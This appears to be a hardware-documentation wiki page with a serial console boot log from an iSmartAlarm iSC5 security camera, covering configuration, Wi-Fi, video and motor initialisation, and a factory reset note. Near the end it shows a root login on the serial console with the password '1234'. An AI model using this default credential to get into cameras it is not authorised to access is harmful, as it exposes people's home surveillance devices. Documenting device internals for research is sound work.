g_stConfigTable[20] Video_IPS = 111111111111111111&lt;br /&gt;
g_stConfigTable[2Firmware version = wl0: Jul 10 2015 11:40:03 version 6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2&lt;br /&gt;
0] Video_IPS = 30&lt;br /&gt;
g_stCodhd_wlfc_init(): successfully enabled bdcv2 tlv signaling, 79&lt;br /&gt;
nfigTable[21] Video_Bright = 111111111111111111&lt;br /&gt;
g_stConfigTable[21] Video_Bright = 1&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 111111111111111111&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 3&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 1&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 1&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 111111111111111111&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 50&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 111111111111111111&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 10&lt;br /&gt;
g_stConfigTable[27] Video_OSD = 11111111111111111000010.037 pktpool_fill, psize = 36, len = 9,&lt;br /&gt;
1&lt;br /&gt;
g_stConfigTable[27] V000010.037 pktpool_add, p = 0004aad4,&lt;br /&gt;
ideo_OSD = n&lt;br /&gt;
g_stConfig000010.037 pktpool_add, p = 0004a34c,&lt;br /&gt;
Table[28] Audio_Channel 000010.037 pktpool_add, p = 00049bc4,&lt;br /&gt;
= 111111111111111111&lt;br /&gt;
g_000010.037 pktpool_add, p = 0004943c,&lt;br /&gt;
stConfigTable[28] Audio_000010.037 pktpool_add, p = 00048cb4,&lt;br /&gt;
Channel = 1&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004852c,&lt;br /&gt;
able[29] Audio_Sample = 000010.037 pktpool_add, p = 00047da4,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.037 pktpool_add, p = 0004761c,&lt;br /&gt;
ConfigTable[29] Audio_Sa000010.037 pktpool_add, p = 00046e94,&lt;br /&gt;
mple = 8000&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004670c,&lt;br /&gt;
able[30] Audio_Volume = 000010.037 pktpool_add, p = 00045f84,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.038 pktpool_add, p = 000457fc,&lt;br /&gt;
ConfigTable[30] Audio_Vo000010.038 pktpool_add, p = 00045074,&lt;br /&gt;
lume = 1&lt;br /&gt;
g_stConfigTabl000010.038 pktpool_add, p = 000448ec,&lt;br /&gt;
e[31] Device_State = 111000010.038 pktpool_add, p = 00044164,&lt;br /&gt;
111111111111111&lt;br /&gt;
g_stCon000010.038 pktpool_add, p = 000439dc,&lt;br /&gt;
figTable[31] Device_Stat000010.038 pktpool_add, p = 00043254,&lt;br /&gt;
e = u&lt;br /&gt;
g_stConfigTable[3000010.038 pktpool_add, p = 00042acc,&lt;br /&gt;
2] Config_Version = 1111000010.038 pktpool_add, p = 00042344,&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000010.038 pktpool_add, p = 0006af88,&lt;br /&gt;
igTable[32] Config_Versi000010.038 pktpool_add, p = 0006a800,&lt;br /&gt;
on = 2.4.9.6&lt;br /&gt;
g_stConfig000010.038 pktpool_add, p = 0006a078,&lt;br /&gt;
Table[33] HW_Version = 1000010.038 pktpool_add, p = 000698f0,&lt;br /&gt;
11111111111111111&lt;br /&gt;
g_stC000010.038 pktpool_add, p = 00069168,&lt;br /&gt;
onfigTable[33] HW_Versio000010.038 pktpool_add, p = 000689e0,&lt;br /&gt;
n = 0.0.0.0&lt;br /&gt;
g_stConfigT000010.039 pktpool_add, p = 00068258,&lt;br /&gt;
able[34] SW_Version = 11000010.039 pktpool_add, p = 00067ad0,&lt;br /&gt;
1111111111111111&lt;br /&gt;
g_stConfigTable[34] SW_Version = 0.0.0.0&lt;br /&gt;
g_stConfigTable[35] Server_URL = 111111111111111111&lt;br /&gt;
g_stConfigTable[35] Server_URL dhd_open: Exit ret=0&lt;br /&gt;
= api.ismartalarm.com&lt;br /&gt;
g_stConfigTable[36] P2p_UID = 111111111111111111&lt;br /&gt;
g_stConfigTable[36] P2p_UID = &lt;br /&gt;
g_stConfigTable[37] Camera_Type = 111111111111111111&lt;br /&gt;
g_stConfigTable[37] Camera_Type = iSC5&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = 111111111111111111&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = bzy.ismartalarm.com&lt;br /&gt;
init_flash_config_parameters  END&lt;br /&gt;
 111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifissid&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifipasswd&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifitype&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.camera_encyid&lt;br /&gt;
init_flash_config_parameters  END 111&lt;br /&gt;
 size = 12c&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
/sbin/ifconfig wlan0 down&lt;br /&gt;
/sbin/ifconfig wlan0 hw ether 00:4D:32:09:B7:2E&lt;br /&gt;
/sbin/ifconfig wlan0 up&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
cp -f /root/etc_default/wpa_supplicant.conf /tmp/wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.conf -B &amp;amp;&lt;br /&gt;
udhcpc -i wlan0 -p /var/run/udhcpc.pid -b &amp;amp;&lt;br /&gt;
size = 12c&lt;br /&gt;
g_stCommonInfo.acPbKey 8ZKv1WTwjES6UylNCO4YjSPp4C0b1F5ryF5IflS4uKY2yP6lJvFbg3ap5tdyx+xJGgossblmCRffuihUmMgWAgxfd1GrpKfWcsvU/PhDuxB935Ua1pRgRYY/D3t0QeNvHqxsoqjivVZmmuXUKfijEOe/hhr8IGUvjNKE8YawBhE=AQAB&lt;br /&gt;
size = 12c&lt;br /&gt;
size = 118&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  :  lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
Come Create Video Capture Thread!&lt;br /&gt;
21791920&lt;br /&gt;
22840496&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
23889072&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
24937648&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
25986224&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
27034800&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
28083376&lt;br /&gt;
30844080&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
31892656&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
32941232&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
33989808&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
35038384&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
36086960&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
37135536&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
38184112&lt;br /&gt;
39232688&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
40281264&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
41329840&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
42378416&lt;br /&gt;
Come Start Video Capture Thread! Main loop========================&lt;br /&gt;
item = 2&lt;br /&gt;
item = Video_Rate get 50&lt;br /&gt;
abc  =================================   50 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Bright get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Hflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Vflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
((((((((((((((((((sample   50 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((sizek   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((help_n   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((filp_n   1 ))))))))))))))))))&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Sensitivity get 5&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Switch get n&lt;br /&gt;
udhcpc (v1.22.1) started&lt;br /&gt;
start to create_mp4_main() &lt;br /&gt;
NewsChannel thread start success&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Net get y&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Night get y&lt;br /&gt;
get_config_item_value(CONFIG_LIGHT_NIGHT       y    &lt;br /&gt;
48465072&lt;br /&gt;
49829040&lt;br /&gt;
child_process_init: success&lt;br /&gt;
child process synchronization start&lt;br /&gt;
start to InitAccEncoder ok () &lt;br /&gt;
g_pstCloudInfo-&amp;gt;threadMsgId = 65538&lt;br /&gt;
g_pstCloudInfo-&amp;gt;processMsgId = 32769&lt;br /&gt;
item = 19&lt;br /&gt;
item = Server_URL get api.ismartalarm.com&lt;br /&gt;
g_pstCloudInfo-&amp;gt;acServerDomainAddr = api.ismartalarm.com&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
*******************clock.fmt.he.net*************************&lt;br /&gt;
NewsChannel_init: container-&amp;gt;lmsgid: 65538, container-&amp;gt;rmsgid: 32769&lt;br /&gt;
NewsChannel_usrInfoClear: success&lt;br /&gt;
NewsChannel initialize success&lt;br /&gt;
NewsChannel thread synchronization start&lt;br /&gt;
alarm_func_thread_init ok#################################################&lt;br /&gt;
set g_stAlarmRecordData.nFlag  0 &lt;br /&gt;
Alarm_set_load_File&lt;br /&gt;
Video_Alarm,Alarm_OnOff  0&lt;br /&gt;
Video_Alarm,Alarm_Keen  5&lt;br /&gt;
Video_Alarm,Alarm_Web_Log 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Pic 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Vid 1&lt;br /&gt;
Video_Alarm,Alarm_TCP_Log 1&lt;br /&gt;
wifi_list_init ok ~~~~~~~~~~~~~&lt;br /&gt;
network init ok, creat check thread ok&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
Video 0 5 1 1 1 1 &lt;br /&gt;
Audio 0 5 1 1 1 1 &lt;br /&gt;
Smoke 0 5 1 1 1 1 &lt;br /&gt;
CO 0 5 1 1 1 1 &lt;br /&gt;
InfraredAlarm 0 5 1 1 1 1 &lt;br /&gt;
InfraredAndMotionAlarm 0 5 1 1 1 1 &lt;br /&gt;
Other 0 5 1 1 1 1 &lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
************************time Open : 0  time Num : 1***********************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
XIAOMI_THREAD get Str 76666666666666666 &lt;br /&gt;
76666666666666666 &lt;br /&gt;
*************************************************************************************&lt;br /&gt;
****************************is_sd_ready  0*************************************************&lt;br /&gt;
*****************************is_sd_long   0************************************************&lt;br /&gt;
*****************************timezone_min   0************************************************&lt;br /&gt;
*************************************************************************************&lt;br /&gt;
Sending discover...&lt;br /&gt;
frame size:1024&lt;br /&gt;
max output bytes:768&lt;br /&gt;
&lt;br /&gt;
start capture&lt;br /&gt;
++++++++++++++++++++++++++++++++child_process_synchronization ok++++++++++++++++++++++++&lt;br /&gt;
52835504&lt;br /&gt;
53884080&lt;br /&gt;
54932656&lt;br /&gt;
55981232&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Switch get n&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Sensitivity get 5&lt;br /&gt;
change_isp_md_args Video Open  0  ---------5-------&lt;br /&gt;
io module sync ok&lt;br /&gt;
unSubType = 2,   unSubPara = 180rcv PIR_OPEN ~~~~&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
Photosensitive is change  1  !!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
数据转换中:        Video After Sync!!&lt;br /&gt;
local_storage_thread ok&lt;br /&gt;
Udp Server start success&lt;br /&gt;
NewsChannel thread synchronization stop&lt;br /&gt;
1111111111111111111111111111111111111111111111111111110ret=0&lt;br /&gt;
AudioAlarm Thread start ok v1.1, 5, 0&lt;br /&gt;
thread_VideoFrameData start OK&lt;br /&gt;
thread_AudioFrameData start OK ok ok &lt;br /&gt;
***************************&lt;br /&gt;
******* volctlNul=1  ***********&lt;br /&gt;
***************************&lt;br /&gt;
IOTC_Initialize2 success &lt;br /&gt;
????????????????????????????IOTC_Get_Version   33621506  ??????????????????????????&lt;br /&gt;
58590384&lt;br /&gt;
[SNX-AUDIO] Un-mute MIC&lt;br /&gt;
stream-&amp;gt;format_bits   16 &lt;br /&gt;
[SNX-AUDIO] frame number : 256, format_bits: 16&lt;br /&gt;
stream-&amp;gt;buffer_size   1024   &lt;br /&gt;
[SNX-AUDIO] Un-mute speaker&lt;br /&gt;
[SNX-SPEAKER] OK frame number : 80, format_bits: 16&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  01  ff &lt;br /&gt;
k[0] = 0x52769ebf&lt;br /&gt;
k[1] = 0xcd7123a2&lt;br /&gt;
k[2] = 0xe07aed75&lt;br /&gt;
k[3] = 0x5af1201a&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0e  0c &lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  0a  d7  52  0b  6a  82  16  27  66 &lt;br /&gt;
 00  00  dc  53  04  27  65  56  f0 &lt;br /&gt;
_______::::: after send_R2 : ret = 0, rec_buf[2] = 11&lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  08  77  df  e6  10  19  ea  c9  02 &lt;br /&gt;
 c5  53  d9  03  1f  c4  c5  b4  80 &lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0b  09 &lt;br /&gt;
file=SerialPorts.c,func=serialport_confirm, line=1663: confirm return = 0&lt;br /&gt;
**************************************************&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
**************************************************&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  2c  2a &lt;br /&gt;
****************************************************************&lt;br /&gt;
**************************get abcd   2*************************&lt;br /&gt;
****************************************************************&lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
Sending discover...&lt;br /&gt;
********************video_channel[1].m2m.m2m 1 width 1280  height 720************************&lt;br /&gt;
killall: miio_client: no process killed&lt;br /&gt;
killall: miio_client_helper_nomqtt.sh: no process killed&lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  1   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 1,0,0,0 &lt;br /&gt;
Guozhixin get pan 1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = 27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  1b  00  00  00  1f &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  05  f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  7_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 03  0f  01  16  5a  81 &lt;br /&gt;
set_photosensitive_value set_photosensitive_value&lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 255,255,0,0 &lt;br /&gt;
Guozhixin get pan -1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = -27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  e5  ff  00  00  e8 &lt;br /&gt;
_________________________socket read  12_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1  ef  00  0f  fe  ef  00  05 &lt;br /&gt;
 f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
rcv from serial: buf[2] = 0xf&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
unSubType = 3,   unSubPara = 0MSG_IOCTL_T_CTL_LED_STATE..... ..... &lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
cropcap.dframe rate update,  pix_clk: 46607142, rate 4 fps, frame_length: 0x1af6, line_length: 0x698&lt;br /&gt;
efrect = (0, 40, 1280, 720)&lt;br /&gt;
-----&amp;gt;sussess crop to (0, 40, 320, 240)&lt;br /&gt;
channel 0 buffer count=2, size=118784&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
OPEN  video_code driver OK &lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video code-------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  2   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
Sending discover...&lt;br /&gt;
===========================dongle_num  0==================================&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
cropcapframe rate update,  pix_clk: 46607142, rate 10 fps, frame_length: 0xac9, line_length: 0x698&lt;br /&gt;
.defrect = (0, 40, 1280, 720)&lt;br /&gt;
-----&amp;gt;sussess crop to (0, 40, 1280, 720)&lt;br /&gt;
channel 1 buffer count=2, size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video -------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
OPEN video driver OK &lt;br /&gt;
snx_vc snx_vc: snx_vc_open: Created instance c36af600, m2m_ctx: c2067800&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: OUTPUT fps == 10&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 2, wxh: 1280x720, fmt: 808596563&lt;br /&gt;
1280 720  scale == 1&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 875967048&lt;br /&gt;
set md threshold 300 &lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=1 &lt;br /&gt;
bps modify  == 50000 --&amp;gt; 400000&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
********************video_chansnx_vc snx_vc: snx_vc_open: Created instance c3ef2e00, m2m_ctx: c36c8c00&lt;br /&gt;
nel[0].m2m.m2m 0 width 1snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
280  height 720************************&lt;br /&gt;
1280 snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 1196444237&lt;br /&gt;
720  scale == 1&lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storagear0130 start streaming&lt;br /&gt;
 &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
LS: MSG_LS_T_RECORD_STATE = 0 (0:ready 1:stop)&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=0 &lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
platform_move_handler HERE HERE  START MSG_SP_P_MOTORMOVE&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 4972 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: root&lt;br /&gt;
Password: 1234&lt;br /&gt;
~ # exit&lt;br /&gt;
&lt;br /&gt;
process &#039;/sbin/getty -L ttyS0 115200 vt100&#039; (pid 603) exited. Scheduling for restart.&lt;br /&gt;
&lt;br /&gt;
starting pid 681, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: default&lt;br /&gt;
login: can&#039;t change directory to &#039;/home/default&#039;&lt;br /&gt;
/ $ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Factory Reset&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Press and hold the setup button for about 10s to set the device back to factory default. Once holding, the setup button, the device will start the setup process, which is trigger on key press, until interupted by the reset routine after holdign for 10s.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 1188 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
@@@@ threadStatus[4].tm=0  tm=230&lt;br /&gt;
write child_getThreadsStatus -1&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
function set_cur_net_state&lt;br /&gt;
function set_cur_net_state end&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
function set_MQTT_Connect_active &lt;br /&gt;
function set_MQTT_Connect_active end&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  : � lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
comeinto send_message_to_set_net&lt;br /&gt;
Play Music /usr/share/notify/dang.wav &lt;br /&gt;
[SNX-AUDIO] playback file /usr/share/notify/dang.wav open OK&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_GetKey  is  0   2 ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
audio interface opened&lt;br /&gt;
hw_params allocated&lt;br /&gt;
hw_params initialized&lt;br /&gt;
hw_params access setted&lt;br /&gt;
hw_params format setted&lt;br /&gt;
hw_params rate setted&lt;br /&gt;
hw_params channels setted&lt;br /&gt;
hw_params setted&lt;br /&gt;
hw_params freed&lt;br /&gt;
audio interface prepared&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
